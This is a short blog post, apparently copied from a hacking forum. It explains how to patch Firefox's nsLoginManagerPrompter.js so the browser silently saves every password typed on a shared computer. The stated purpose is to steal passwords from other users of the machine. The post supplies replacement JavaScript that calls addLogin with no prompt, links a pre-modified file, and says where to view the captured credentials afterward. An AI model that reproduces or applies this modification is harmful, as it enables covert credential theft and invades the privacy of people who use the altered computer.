Copy/paste disable

Tuesday, June 14, 2011

Easy way to make Firefox Always Remember Password without Prompt

Share
This can be used if you want to steal a password from someone who uses your computer. Usually when someone enters a new password into a website Firefox will prompt the user and ask whether the password should be remembered or not, once modified it will always remember the password and no prompt will appear, leaving the user to assume that 'Remember passwords for sites' is disabled. When they have used your computer and finished, you can go to Preferences > Security > Saved Passwords > Show Passwords.

1) Close Firefox

2) Navigate to:
Win - C:/Program Files/Mozilla Firefox/Components
Mac - Applications > Right click Firefox > Show Package Contents > Contents/MacOS/Components

3) We are going to edit a file called nsLoginManagerPrompter.js, it is recommended you create a copy of it so you can replace the original file when you want to turn off this feature.

I recommend you download the following file and simply overwrite the existing nsLoginManagerPrompter.js with it, it is one I have already edited and works, although I do understand that some may be weary of downloading files from a hack forum so I will explain how to edit the file for those who would prefer to do it themselves:
http://rapidshare.com/files/397687484/ns...er.js.html

4) Open the file in a text editor, you will see in the code 'comments', these are normal English notes in the code, that don't effect how the code works because there are stars on the left to tell the computer not to read it.

What you need to do is delete ALL the text in between the following two comments:
/*
* _showSaveLoginNotification
*
* Displays a notification bar (rather than a popup), to allow the user to
* save the specified login. This allows the user to see the results of
* their login, and only save a login which they know worked.
*
*/
 AND
/*
* _removeLoginNotifications
*
*/

You should be able to find these easily using the text editor's search function.

5) Once you have deleted the text you need to replace it with:

_showSaveLoginNotification : function (aNotifyBox, aLogin) {
var pwmgr = this._pwmgr;
pwmgr.addLogin(aLogin);
},
6) Save the file, and restart firefox. It should now save all passwords without asking, and without prompting or notification. 

No comments: